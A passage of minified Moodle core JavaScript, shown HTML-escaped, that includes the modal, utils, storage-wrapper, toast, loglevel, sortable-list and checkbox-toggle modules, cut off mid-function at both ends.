outsideClickEvent=$.Event(ModalEvents.outsideClick);this.getRoot().trigger(outsideClickEvent,this),outsideClickEvent.isDefaultPrevented()||this.hideIfNotForm()}}.bind(this)),CustomEvents.define(this.getModal(),[CustomEvents.events.activate]),this.getModal().on(CustomEvents.events.activate,SELECTORS_HIDE,function(e,data){this.hide(),data.originalEvent.preventDefault()}.bind(this))},Modal.prototype.registerCloseOnCancel=function(){this.getModal().on(CustomEvents.events.activate,this.getActionSelector(&quot;cancel&quot;),function(e,data){var cancelEvent=$.Event(ModalEvents.cancel);this.getRoot().trigger(cancelEvent,this),cancelEvent.isDefaultPrevented()||(data.originalEvent.preventDefault(),this.removeOnClose?this.destroy():this.hide())}.bind(this))},Modal.prototype.registerCloseOnSave=function(){this.getModal().on(CustomEvents.events.activate,this.getActionSelector(&quot;save&quot;),function(e,data){var saveEvent=$.Event(ModalEvents.save);this.getRoot().trigger(saveEvent,this),saveEvent.isDefaultPrevented()||(data.originalEvent.preventDefault(),this.removeOnClose?this.destroy():this.hide())}.bind(this))},Modal.prototype.asyncSet=function(value,setFunction){var p=value;return&quot;object&quot;==typeof value&amp;&amp;value.hasOwnProperty(&quot;then&quot;)||(p=$.Deferred()).resolve(value),p.then((function(content){setFunction(content)})).fail(Notification.exception),p},Modal.prototype.setButtonText=function(action,value){const button=this.getFooter().find(this.getActionSelector(action));if(!button)throw new Error(&quot;Unable to find the &#039;&quot;+action+&quot;&#039; button&quot;);return this.asyncSet(value,button.text.bind(button))},Modal.prototype.getActionSelector=function(action){return&quot;[data-action=&#039;&quot;+action+&quot;&#039;]&quot;},Modal.prototype.setRemoveOnClose=function(remove){this.removeOnClose=remove},Modal}));
define(&quot;core/utils&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.throttle=_exports.debounce=void 0;_exports.throttle=(func,wait)=&gt;{let onCooldown=!1,runAgain=null;const run=function(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];runAgain=null!==runAgain,onCooldown||(func.apply(this,args),onCooldown=!0,setTimeout((()=&gt;{const recurse=runAgain;onCooldown=!1,runAgain=null,recurse&amp;&amp;run(args)}),wait))};return run};_exports.debounce=(func,wait)=&gt;{let timeout=null;return function(){for(var _len2=arguments.length,args=new Array(_len2),_key2=0;_key2&lt;_len2;_key2++)args[_key2]=arguments[_key2];clearTimeout(timeout),timeout=setTimeout((()=&gt;{func.apply(this,args)}),wait)}}}));
/**
 * Provide global helper code to enhance page elements.
 *
 * @module     core/page_global
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/page_global&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/str&quot;,&quot;core/network&quot;],(function($,CustomEvents,Str,Network){return{init:function(){var body;body=$(&quot;body&quot;),CustomEvents.define(body,[CustomEvents.events.activate]),body.on(CustomEvents.events.activate,&quot;[data-show-active-item]&quot;,(function(e){var option=$(e.target).closest(&quot;.dropdown-item&quot;),menuContainer=option.closest(&quot;[data-show-active-item]&quot;);if(option.hasClass(&quot;dropdown-item&quot;)&amp;&amp;!option.hasClass(&quot;active&quot;)){var dropdownItems=menuContainer.find(&quot;.dropdown-item&quot;);dropdownItems.removeClass(&quot;active&quot;),dropdownItems.removeAttr(&quot;aria-current&quot;),menuContainer.attr(&quot;data-skip-active-class&quot;)||option.addClass(&quot;active&quot;),option.attr(&quot;aria-current&quot;,!0);var activeOptionText=option.text(),dropdownToggle=menuContainer.parent().find(&#039;[data-toggle=&quot;dropdown&quot;]&#039;),dropdownToggleText=dropdownToggle.find(&quot;[data-active-item-text]&quot;);dropdownToggleText.length?dropdownToggleText.html(activeOptionText):dropdownToggle.html(activeOptionText);var activeItemAriaLabelComponent=menuContainer.attr(&quot;data-active-item-button-aria-label-components&quot;);if(activeItemAriaLabelComponent){var strParams=activeItemAriaLabelComponent.split(&quot;,&quot;);strParams.push(activeOptionText),Str.get_string(strParams[0].trim(),strParams[1].trim(),strParams[2].trim()).then((function(string){return dropdownToggle.attr(&quot;aria-label&quot;,string),string})).catch((function(){return!1}))}}})),Network.init()}}}));
/**
 * Wrap an instance of the browser&#039;s local or session storage to handle
 * cache expiry, key namespacing and other helpful things.
 *
 * @module     core/storagewrapper
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/storagewrapper&quot;,[&quot;core/config&quot;],(function(config){var Wrapper=function(storage){this.storage=storage,this.supported=this.detectSupport(),this.hashSource=config.wwwroot+&quot;/&quot;+config.jsrev,this.hash=this.hashString(this.hashSource),this.prefix=this.hash+&quot;/&quot;,this.jsrevPrefix=this.hashString(config.wwwroot)+&quot;/jsrev&quot;,this.validateCache()};return Wrapper.prototype.detectSupport=function(){if(-1==config.jsrev)return!1;if(void 0===this.storage)return!1;try{return null!==this.storage&amp;&amp;(this.storage.setItem(&quot;test&quot;,&quot;1&quot;),this.storage.removeItem(&quot;test&quot;),!0)}catch(ex){return!1}},Wrapper.prototype.prefixKey=function(key){return this.prefix+key},Wrapper.prototype.validateCache=function(){var cacheVersion=this.storage.getItem(this.jsrevPrefix);null!==cacheVersion?config.jsrev!=cacheVersion&amp;&amp;(this.storage.clear(),this.storage.setItem(this.jsrevPrefix,config.jsrev)):this.storage.setItem(this.jsrevPrefix,config.jsrev)},Wrapper.prototype.hashString=function(source){var i,len,hash=0;if(0===source.length)return hash;for(i=0,len=source.length;i&lt;len;i++)hash=(hash&lt;&lt;5)-hash+source.charCodeAt(i),hash|=0;return hash},Wrapper.prototype.get=function(key){return!!this.supported&amp;&amp;(key=this.prefixKey(key),this.storage.getItem(key))},Wrapper.prototype.set=function(key,value){if(!this.supported)return!1;key=this.prefixKey(key);try{this.storage.setItem(key,value)}catch(e){return!1}return!0},Wrapper}));
define(&quot;core/toast&quot;,[&quot;exports&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;],(function(_exports,_templates,_notification,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * A system for displaying small snackbar notifications to users which disappear shortly after they are shown.
   *
   * @module     core/toast
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.addToastRegion=_exports.add=void 0,_templates=_interopRequireDefault(_templates),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending);const addToastRegion=async parent=&gt;{const pendingPromise=new _pending.default(&quot;addToastRegion&quot;);try{const{html:html,js:js}=await _templates.default.renderForPromise(&quot;core/local/toast/wrapper&quot;,{});_templates.default.prependNodeContents(parent,html,js)}catch(e){_notification.default.exception(e)}pendingPromise.resolve()};_exports.addToastRegion=addToastRegion;_exports.add=async(message,configuration)=&gt;{const pendingPromise=new _pending.default(&quot;addToastRegion&quot;);configuration={type:&quot;info&quot;,closeButton:!1,autohide:!0,delay:4e3,...configuration};try{const targetNode=await getTargetNode(),{html:html,js:js}=await _templates.default.renderForPromise(&quot;core/local/toast/message&quot;,{message:await message,...configuration});_templates.default.prependNodeContents(targetNode,html,js)}catch(e){_notification.default.exception(e)}pendingPromise.resolve()};const getTargetNode=async()=&gt;{const regions=document.querySelectorAll(&quot;.toast-wrapper&quot;);return regions.length?regions[regions.length-1]:(await addToastRegion(document.body),getTargetNode())}}));
var root,definition;root=window,definition=function(){var noop=function(){},isIE=&quot;undefined&quot;!=typeof window&amp;&amp;void 0!==window.navigator&amp;&amp;/Trident\/|MSIE /.test(window.navigator.userAgent),logMethods=[&quot;trace&quot;,&quot;debug&quot;,&quot;info&quot;,&quot;warn&quot;,&quot;error&quot;];function bindMethod(obj,methodName){var method=obj[methodName];if(&quot;function&quot;==typeof method.bind)return method.bind(obj);try{return Function.prototype.bind.call(method,obj)}catch(e){return function(){return Function.prototype.apply.apply(method,[obj,arguments])}}}function traceForIE(){console.log&amp;&amp;(console.log.apply?console.log.apply(console,arguments):Function.prototype.apply.apply(console.log,[console,arguments])),console.trace&amp;&amp;console.trace()}function realMethod(methodName){return&quot;debug&quot;===methodName&amp;&amp;(methodName=&quot;log&quot;),&quot;undefined&quot;!=typeof console&amp;&amp;(&quot;trace&quot;===methodName&amp;&amp;isIE?traceForIE:void 0!==console[methodName]?bindMethod(console,methodName):void 0!==console.log?bindMethod(console,&quot;log&quot;):noop)}function replaceLoggingMethods(level,loggerName){for(var i=0;i&lt;logMethods.length;i++){var methodName=logMethods[i];this[methodName]=i&lt;level?noop:this.methodFactory(methodName,level,loggerName)}this.log=this.debug}function enableLoggingWhenConsoleArrives(methodName,level,loggerName){return function(){&quot;undefined&quot;!=typeof console&amp;&amp;(replaceLoggingMethods.call(this,level,loggerName),this[methodName].apply(this,arguments))}}function defaultMethodFactory(methodName,level,loggerName){return realMethod(methodName)||enableLoggingWhenConsoleArrives.apply(this,arguments)}function Logger(name,defaultLevel,factory){var currentLevel,self=this,storageKey=&quot;loglevel&quot;;function getPersistedLevel(){var storedLevel;if(&quot;undefined&quot;!=typeof window&amp;&amp;storageKey){try{storedLevel=window.localStorage[storageKey]}catch(ignore){}if(void 0===storedLevel)try{var cookie=window.document.cookie,location=cookie.indexOf(encodeURIComponent(storageKey)+&quot;=&quot;);-1!==location&amp;&amp;(storedLevel=/^([^;]+)/.exec(cookie.slice(location))[1])}catch(ignore){}return void 0===self.levels[storedLevel]&amp;&amp;(storedLevel=void 0),storedLevel}}&quot;string&quot;==typeof name?storageKey+=&quot;:&quot;+name:&quot;symbol&quot;==typeof name&amp;&amp;(storageKey=void 0),self.name=name,self.levels={TRACE:0,DEBUG:1,INFO:2,WARN:3,ERROR:4,SILENT:5},self.methodFactory=factory||defaultMethodFactory,self.getLevel=function(){return currentLevel},self.setLevel=function(level,persist){if(&quot;string&quot;==typeof level&amp;&amp;void 0!==self.levels[level.toUpperCase()]&amp;&amp;(level=self.levels[level.toUpperCase()]),!(&quot;number&quot;==typeof level&amp;&amp;level&gt;=0&amp;&amp;level&lt;=self.levels.SILENT))throw&quot;log.setLevel() called with invalid level: &quot;+level;if(currentLevel=level,!1!==persist&amp;&amp;function(levelNum){var levelName=(logMethods[levelNum]||&quot;silent&quot;).toUpperCase();if(&quot;undefined&quot;!=typeof window&amp;&amp;storageKey){try{return void(window.localStorage[storageKey]=levelName)}catch(ignore){}try{window.document.cookie=encodeURIComponent(storageKey)+&quot;=&quot;+levelName+&quot;;&quot;}catch(ignore){}}}(level),replaceLoggingMethods.call(self,level,name),&quot;undefined&quot;==typeof console&amp;&amp;level&lt;self.levels.SILENT)return&quot;No console available for logging&quot;},self.setDefaultLevel=function(level){getPersistedLevel()||self.setLevel(level,!1)},self.enableAll=function(persist){self.setLevel(self.levels.TRACE,persist)},self.disableAll=function(persist){self.setLevel(self.levels.SILENT,persist)};var initialLevel=getPersistedLevel();null==initialLevel&amp;&amp;(initialLevel=null==defaultLevel?&quot;WARN&quot;:defaultLevel),self.setLevel(initialLevel,!1)}var defaultLogger=new Logger,_loggersByName={};defaultLogger.getLogger=function(name){if(&quot;symbol&quot;!=typeof name&amp;&amp;&quot;string&quot;!=typeof name||&quot;&quot;===name)throw new TypeError(&quot;You must supply a name when creating a logger.&quot;);var logger=_loggersByName[name];return logger||(logger=_loggersByName[name]=new Logger(name,defaultLogger.getLevel(),defaultLogger.methodFactory)),logger};var _log=&quot;undefined&quot;!=typeof window?window.log:void 0;return defaultLogger.noConflict=function(){return&quot;undefined&quot;!=typeof window&amp;&amp;window.log===defaultLogger&amp;&amp;(window.log=_log),defaultLogger},defaultLogger.getLoggers=function(){return _loggersByName},defaultLogger.default=defaultLogger,defaultLogger},&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;core/loglevel&quot;,definition):&quot;object&quot;==typeof module&amp;&amp;module.exports?module.exports=definition():root.log=definition();
/**
 * A javascript module to handle list items drag and drop
 *
 * Example of usage:
 *
 * Create a list (for example `&lt;ul&gt;` or `&lt;tbody&gt;`) where each draggable element has a drag handle.
 * The best practice is to use the template core/drag_handle:
 * $OUTPUT-&gt;render_from_template(&#039;core/drag_handle&#039;, [&#039;movetitle&#039; =&gt; get_string(&#039;movecontent&#039;, &#039;moodle&#039;, ELEMENTNAME)]);
 *
 * Attach this JS module to this list:
 *
 * Space between define and ( critical in comment but not allowed in code in order to function
 * correctly with Moodle&#039;s requirejs.php
 *
 * More details: https://docs.moodle.org/dev/Sortable_list
 *
 * For the full list of possible parameters see var defaultParameters below.
 *
 * The following jQuery events are fired:
 * - SortableList.EVENTS.DRAGSTART : when user started dragging a list element
 * - SortableList.EVENTS.DRAG : when user dragged a list element to a new position
 * - SortableList.EVENTS.DROP : when user dropped a list element
 * - SortableList.EVENTS.DROPEND : when user finished dragging - either fired right after dropping or
 *                          if &quot;Esc&quot; was pressed during dragging
 *
 * @example
 * define ([&#039;jquery&#039;, &#039;core/sortable_list&#039;], function($, SortableList) {
 *     var list = new SortableList(&#039;ul.my-awesome-list&#039;); // source list (usually &lt;ul&gt; or &lt;tbody&gt;) - selector or element
 *
 *     // Listen to the events when element is dragged.
 *     $(&#039;ul.my-awesome-list &gt; *&#039;).on(SortableList.EVENTS.DROP, function(evt, info) {
 *         console.log(info);
 *     });
 *
 *     // Advanced usage. Overwrite methods getElementName, getDestinationName, moveDialogueTitle, for example:
 *     list.getElementName = function(element) {
 *         return $.Deferred().resolve(element.attr(&#039;data-name&#039;));
 *     }
 * });
 *
 * @module     core/sortable_list
 * @class      core/sortable_list
 * @copyright  2018 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/sortable_list&quot;,[&quot;jquery&quot;,&quot;core/log&quot;,&quot;core/autoscroll&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;],(function($,log,autoScroll,str,ModalFactory,ModalEvents,Notification){var defaultParameters={targetListSelector:null,moveHandlerSelector:&quot;[data-drag-type=move]&quot;,isHorizontal:!1,autoScroll:!0},CSS_keyboardDragClass=&quot;dragdrop-keyboard-drag&quot;,CSS_isDraggedClass=&quot;sortable-list-is-dragged&quot;,CSS_currentPositionClass=&quot;sortable-list-current-position&quot;,CSS_targetListClass=&quot;sortable-list-target&quot;,CSS_overElementClass=&quot;sortable-list-over-element&quot;,registerNotPassiveListeners=function(eventname){return{setup:function(x,ns,handle){return!!ns.includes(&quot;notPassive&quot;)&amp;&amp;(this.addEventListener(eventname,handle,{passive:!1}),!0)}}};(function(){var options,passivesupported=!1;try{options=Object.defineProperty({},&quot;passive&quot;,{get:function(){passivesupported=!0}}),document.addEventListener(&quot;testpassiveeventoptions&quot;,options,options),document.removeEventListener(&quot;testpassiveeventoptions&quot;,options,options)}catch(err){passivesupported=!1}return passivesupported})&amp;&amp;($.event.special.touchstart=registerNotPassiveListeners(&quot;touchstart&quot;),$.event.special.touchmove=registerNotPassiveListeners(&quot;touchmove&quot;),$.event.special.touchend=registerNotPassiveListeners(&quot;touchend&quot;));var SortableList=function(root,config){this.info=null,this.proxy=null,this.proxyDelta=null,this.dragCounter=0,this.lastEvent=null,this.config=$.extend({},defaultParameters,config||{}),this.config.listSelector=root,this.config.targetListSelector||(this.config.targetListSelector=root),&quot;object&quot;==typeof this.config.listSelector?$(this.config.listSelector).on(&quot;mousedown touchstart.notPassive&quot;,$.proxy(this.dragStartHandler,this)):$(&quot;body&quot;).on(&quot;mousedown touchstart.notPassive&quot;,this.config.listSelector,$.proxy(this.dragStartHandler,this)),null!==this.config.moveHandlerSelector&amp;&amp;$(&quot;body&quot;).on(&quot;click keypress&quot;,this.config.moveHandlerSelector,$.proxy(this.clickHandler,this))};return SortableList.EVENTS={DRAGSTART:&quot;sortablelist-dragstart&quot;,DRAG:&quot;sortablelist-drag&quot;,DROP:&quot;sortablelist-drop&quot;,DRAGEND:&quot;sortablelist-dragend&quot;},SortableList.prototype.resetDraggedClasses=function(){var classes=[CSS_isDraggedClass,CSS_currentPositionClass,CSS_overElementClass,CSS_targetListClass];for(var i in classes)$(&quot;.&quot;+classes[i]).removeClass(classes[i]);this.proxy&amp;&amp;(this.proxy.remove(),this.proxy=$())},SortableList.prototype.calculatePositionOnPage=function(evt){if(evt.originalEvent&amp;&amp;evt.originalEvent.touches&amp;&amp;void 0!==evt.originalEvent.touches[0]){var touch=evt.originalEvent.touches[0];evt.pageX=touch.pageX,evt.pageY=touch.pageY}void 0===evt.pageX?(evt.pageX=this.lastEvent.pageX,evt.pageY=this.lastEvent.pageY):this.lastEvent=evt,void 0===evt.clientX&amp;&amp;(evt.clientX=Math.round(evt.pageX-$(window).scrollLeft()),evt.clientY=Math.round(evt.pageY-$(window).scrollTop()))},SortableList.prototype.dragStartHandler=function(evt){if(null!==this.info){if(&quot;click&quot;===this.info.type||&quot;touchend&quot;===this.info.type)return;this.moveElement(this.info.sourceList,this.info.sourceNextElement),this.finishDragging()}if(&quot;mousedown&quot;!==evt.type||1===evt.which){this.calculatePositionOnPage(evt);var movedElement=$(evt.target).closest($(evt.currentTarget).children());if(movedElement.length&amp;&amp;(null===this.config.moveHandlerSelector||$(evt.target).closest(this.config.moveHandlerSelector,movedElement).length)){evt.stopPropagation(),evt.preventDefault(),this.dragCounter++,this.info={element:movedElement,sourceNextElement:movedElement.next(),sourceList:movedElement.parent(),targetNextElement:movedElement.next(),targetList:movedElement.parent(),type:evt.type,dropped:!1,startX:evt.pageX,startY:evt.pageY,startTime:(new Date).getTime()},$(this.config.targetListSelector).addClass(CSS_targetListClass);var offset=movedElement.offset();movedElement.addClass(CSS_currentPositionClass),this.proxyDelta={x:offset.left-evt.pageX,y:offset.top-evt.pageY},this.proxy=$();var thisDragCounter=this.dragCounter;setTimeout($.proxy((function(){null!==this.info&amp;&amp;&quot;click&quot;!==this.info.type&amp;&amp;&quot;keypress&quot;!==this.info.type&amp;&amp;this.dragCounter===thisDragCounter&amp;&amp;this.createProxy()}),this),500),$(window).on(&quot;mousemove touchmove.notPassive mouseup touchend.notPassive&quot;,$.proxy(this.dragHandler,this)),$(window).on(&quot;keypress&quot;,$.proxy(this.dragcancelHandler,this)),this.config.autoScroll&amp;&amp;autoScroll.start((function(){$(window).trigger(&quot;mousemove&quot;)})),this.executeCallback(SortableList.EVENTS.DRAGSTART)}}},SortableList.prototype.createProxy=function(){this.proxy=this.info.element.clone(),this.info.sourceList.append(this.proxy),this.proxy.removeAttr(&quot;id&quot;).removeClass(CSS_currentPositionClass).addClass(CSS_isDraggedClass).css({position:&quot;fixed&quot;}),this.proxy.offset({top:this.proxyDelta.y+this.lastEvent.pageY,left:this.proxyDelta.x+this.lastEvent.pageX})},SortableList.prototype.clickHandler=function(evt){if((&quot;keypress&quot;!==evt.type||13===evt.originalEvent.keyCode||32===evt.originalEvent.keyCode)&amp;&amp;null===this.info){var clickedElement=$(evt.target).closest(this.config.moveHandlerSelector),sourceList=clickedElement.closest(this.config.listSelector),movedElement=clickedElement.closest(sourceList.children());movedElement.length&amp;&amp;(evt.preventDefault(),evt.stopPropagation(),this.dragCounter++,this.info={element:movedElement,sourceNextElement:movedElement.next(),sourceList:sourceList,targetNextElement:movedElement.next(),targetList:sourceList,dropped:!1,type:evt.type,startTime:(new Date).getTime()},this.executeCallback(SortableList.EVENTS.DRAGSTART),this.displayMoveDialogue(clickedElement))}},SortableList.prototype.getPositionInNode=function(pageX,pageY,element){if(!element.length)return null;var rect=element[0].getBoundingClientRect(),y=pageY-(rect.top+window.scrollY),x=pageX-(rect.left+window.scrollX);return x&gt;=-0&amp;&amp;x&lt;=rect.width+0&amp;&amp;y&gt;=-0&amp;&amp;y&lt;=rect.height+0?{x:x,y:y,xRatio:rect.width?x/rect.width:0,yRatio:rect.height?y/rect.height:0}:null},SortableList.prototype.isListHorizontal=function(element){var isHorizontal=this.config.isHorizontal;return!0===isHorizontal||!1===isHorizontal?isHorizontal:isHorizontal(element)},SortableList.prototype.dragHandler=function(evt){evt.preventDefault(),evt.stopPropagation(),this.calculatePositionOnPage(evt),this.proxy.offset({top:-1e3,left:-1e3});var element=$(document.elementFromPoint(evt.clientX,evt.clientY)),mainElement=this.info.element[0],isNotSelf=function(){return this!==mainElement},current=element.closest(&quot;.&quot;+CSS_targetListClass+&quot; &gt; :not(.&quot;+CSS_isDraggedClass+&quot;)&quot;).filter(isNotSelf),currentList=element.closest(&quot;.&quot;+CSS_targetListClass),proxy=this.proxy,isNotProxy=function(){return!proxy||!proxy.length||this!==proxy[0]};if($(&quot;.&quot;+CSS_overElementClass).removeClass(CSS_overElementClass),current.addClass(CSS_overElementClass),this.proxy.offset({top:this.proxyDelta.y+evt.pageY,left:this.proxyDelta.x+evt.pageX}),currentList.length&amp;&amp;!currentList.children().filter(isNotProxy).length)this.moveElement(currentList,$());else if(1===current.length&amp;&amp;!this.info.element.find(current[0]).length){var coordinates=this.getPositionInNode(evt.pageX,evt.pageY,current);if(coordinates){var parent=current.parent(),ratio=this.isListHorizontal(parent)?coordinates.xRatio:coordinates.yRatio,subList=current.find(&quot;.&quot;+CSS_targetListClass),subListEmpty=!subList.children().filter(isNotProxy).filter(isNotSelf).length;subList.length&amp;&amp;subListEmpty&amp;&amp;ratio&gt;.2&amp;&amp;ratio&lt;.8?this.moveElement(subList,$()):ratio&gt;.5?this.moveElement(parent,current.next().filter(isNotProxy)):this.moveElement(parent,current)}}if(&quot;mouseup&quot;===evt.type||&quot;touchend&quot;===evt.type){this.info.endX=evt.pageX,this.info.endY=evt.pageY,this.info.endTime=(new Date).getTime(),this.info.dropped=!0,this.info.positionChanged=this.hasPositionChanged(this.info);var oldinfo=this.info;this.executeCallback(SortableList.EVENTS.DROP),this.finishDragging(),&quot;touchend&quot;===evt.type&amp;&amp;null!==this.config.moveHandlerSelector&amp;&amp;oldinfo.endTime-oldinfo.startTime&lt;500&amp;&amp;!oldinfo.positionChanged&amp;&amp;this.clickHandler(evt)}},SortableList.prototype.hasPositionChanged=function(info){return info.sourceList[0]!==info.targetList[0]||info.sourceNextElement.length!==info.targetNextElement.length||info.sourceNextElement.length&amp;&amp;info.sourceNextElement[0]!==info.targetNextElement[0]},SortableList.prototype.moveElement=function(parentElement,beforeElement){var dragEl=this.info.element;beforeElement.length&amp;&amp;beforeElement[0]===dragEl[0]||parentElement[0]===this.info.targetList[0]&amp;&amp;beforeElement.length===this.info.targetNextElement.length&amp;&amp;beforeElement[0]===this.info.targetNextElement[0]||(beforeElement.length?parentElement[0].insertBefore(dragEl[0],beforeElement[0]):this.proxy&amp;&amp;this.proxy.parent().length&amp;&amp;this.proxy.parent()[0]===parentElement[0]?parentElement[0].insertBefore(dragEl[0],this.proxy[0]):parentElement[0].appendChild(dragEl[0]),this.info.targetList=parentElement,this.info.targetNextElement=beforeElement,this.executeCallback(SortableList.EVENTS.DRAG))},SortableList.prototype.finishDragging=function(){this.resetDraggedClasses(),this.config.autoScroll&amp;&amp;autoScroll.stop(),$(window).off(&quot;mousemove touchmove.notPassive mouseup touchend.notPassive&quot;,$.proxy(this.dragHandler,this)),$(window).off(&quot;keypress&quot;,$.proxy(this.dragcancelHandler,this)),this.executeCallback(SortableList.EVENTS.DRAGEND),this.info=null},SortableList.prototype.executeCallback=function(eventName){this.info.element.trigger(eventName,this.info)},SortableList.prototype.dragcancelHandler=function(evt){&quot;keypress&quot;===evt.type&amp;&amp;27===evt.originalEvent.keyCode&amp;&amp;(this.moveElement(this.info.sourceList,this.info.sourceNextElement),this.finishDragging())},SortableList.prototype.getElementName=function(element){return $.Deferred().resolve(element.text())},SortableList.prototype.getDestinationName=function(parentElement,afterElement){return afterElement.length?this.getElementName(afterElement).then((function(name){return str.get_string(&quot;movecontentafter&quot;,&quot;moodle&quot;,name)})):str.get_string(&quot;movecontenttothetop&quot;,&quot;moodle&quot;)},SortableList.prototype.getMoveDialogueTitle=function(element,handler){return handler.attr(&quot;title&quot;)?$.Deferred().resolve(handler.attr(&quot;title&quot;)):this.getElementName(element).then((function(name){return str.get_string(&quot;movecontent&quot;,&quot;moodle&quot;,name)}))},SortableList.prototype.getDestinationsList=function(){var addedLists=[],targets=$(this.config.targetListSelector),destinations=$(&quot;&lt;ul/&gt;&quot;).addClass(CSS_keyboardDragClass),result=$.when().then((function(){return destinations})),createLink=$.proxy((function(parentElement,beforeElement,afterElement){beforeElement.is(this.info.element)||afterElement.is(this.info.element)||$.contains(this.info.element[0],parentElement[0])||(result=result.then($.proxy((function(){return this.getDestinationName(parentElement,afterElement)}),this)).then((function(txt){var li=$(&quot;&lt;li/&gt;&quot;).appendTo(destinations);return $(&#039;&lt;a href=&quot;#&quot;/&gt;&#039;).attr(&quot;data-core_sortable_list-quickmove&quot;,1).appendTo(li).data(&quot;parent-element&quot;,parentElement).data(&quot;before-element&quot;,beforeElement).text(txt),destinations})))}),this),addList=function(){if(-1===$.inArray(this,addedLists)){addedLists.push(this);var list=$(this),children=list.children();children.each((function(){var element=$(this);createLink(list,element,element.prev()),element.find(targets).each(addList)})),createLink(list,$(),children.last())}};return targets.each(addList),result},SortableList.prototype.displayMoveDialogue=function(clickedElement){ModalFactory.create({type:ModalFactory.types.CANCEL,title:this.getMoveDialogueTitle(this.info.element,clickedElement),body:this.getDestinationsList()}).then($.proxy((function(modal){var quickMoveHandler=$.proxy((function(e){e.preventDefault(),e.stopPropagation(),this.moveElement($(e.currentTarget).data(&quot;parent-element&quot;),$(e.currentTarget).data(&quot;before-element&quot;)),this.info.endTime=(new Date).getTime(),this.info.positionChanged=this.hasPositionChanged(this.info),this.info.dropped=!0,clickedElement.focus(),this.executeCallback(SortableList.EVENTS.DROP),modal.hide()}),this);return modal.getRoot().on(&quot;click&quot;,&quot;[data-core_sortable_list-quickmove]&quot;,quickMoveHandler),modal.getRoot().on(ModalEvents.hidden,$.proxy((function(){modal.getRoot().off(&quot;click&quot;,&quot;[data-core_sortable_list-quickmove]&quot;,quickMoveHandler),modal.destroy(),this.finishDragging()}),this)),modal.setLarge(),modal.show(),modal}),this)).catch(Notification.exception)},SortableList}));
/**
 * A module to help with toggle select/deselect all.
 *
 * @module     core/checkbox-toggleall
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/checkbox-toggleall&quot;,[&quot;jquery&quot;,&quot;core/pubsub&quot;],(function($,PubSub){var registered=!1,events={checkboxToggled:&quot;core/checkbox-toggleall:checkboxToggled&quot;},getToggleGroupElements=function(root,toggleGroup,exactMatch){return exactMatch?root.find(&#039;[data-action=&quot;toggle&quot;][data-togglegroup=&quot;&#039;+toggleGroup+&#039;&quot;]&#039;):root.find(&#039;[data-action=&quot;toggle&quot;][data-togglegroup^=&quot;&#039;+toggleGroup+&#039;&quot;]&#039;)},getAllSlaveCheckboxes=function(root,toggleGroup){return getToggleGroupElements(root,toggleGroup,!1).filter(&#039;[data-toggle=&quot;slave&quot;]&#039;)},getControlCheckboxes=function(root,toggleGroup,exactMatch){return getToggleGroupElements(root,toggleGroup,exactMatch).filter(&#039;[data-toggle=&quot;master&quot;]&#039;)},toggleSlavesFromMasters=function(e){var targetState,root=e.data.root,target=$(e.target),toggleGroupName=target.data(&quot;togglegroup&quot;);targetState=target.is(&quot;:checkbox&quot;)?target.is(&quot;:checked&quot;):1===target.data(&quot;checkall&quot;),toggleSlavesToState(root,toggleGroupName,targetState)},toggleMastersAndActionElements=function(root,toggleGroupName){var toggleGroupSlaves=getAllSlaveCheckboxes(root,toggleGroupName);if(toggleGroupSlaves.length&gt;0){var toggleGroupCheckedSlaves=toggleGroupSlaves.filter(&quot;:checked&quot;),targetState=toggleGroupSlaves.length===toggleGroupCheckedSlaves.length;setMasterStates(root,toggleGroupName,targetState,!0),setActionElementStates(root,toggleGroupName,!toggleGroupCheckedSlaves.length)}},getToggleGroupLevels=function(toggleGroupName){var toggleGroups=toggleGroupName.split(&quot; &quot;),toggleGroupLevels=[],toggleGroupLevel=&quot;&quot;;return toggleGroups.forEach((function(toggleGroupName){toggleGroupLevel+=&quot; &quot;+toggleGroupName,toggleGroupLevels.push(toggleGroupLevel.trim())})),toggleGroupLevels},toggleSlavesToState=function(root,toggleGroupName,targetState){var slaves=getAllSlaveCheckboxes(root,toggleGroupName);slaves.prop(&quot;checked&quot;,targetState).trigger(&quot;change&quot;);var checkedSlaves=slaves.filter(&quot;:checked&quot;);setMasterStates(root,toggleGroupName,targetState,!1),setActionElementStates(root,toggleGroupName,!checkedSlaves.length),getToggleGroupLevels(toggleGroupName).filter((toggleGroupLevel=&gt;toggleGroupLevel!==toggleGroupName)).forEach((function(toggleGroupLevel){toggleMastersAndActionElements(root,toggleGroupLevel)})),PubSub.publish(events.checkboxToggled,{root:root,toggleGroupName:toggleGroupName,slaves:slaves,checkedSlaves:checkedSlaves,anyChecked:targetState})},toggleMastersFromSlaves=function(e){var 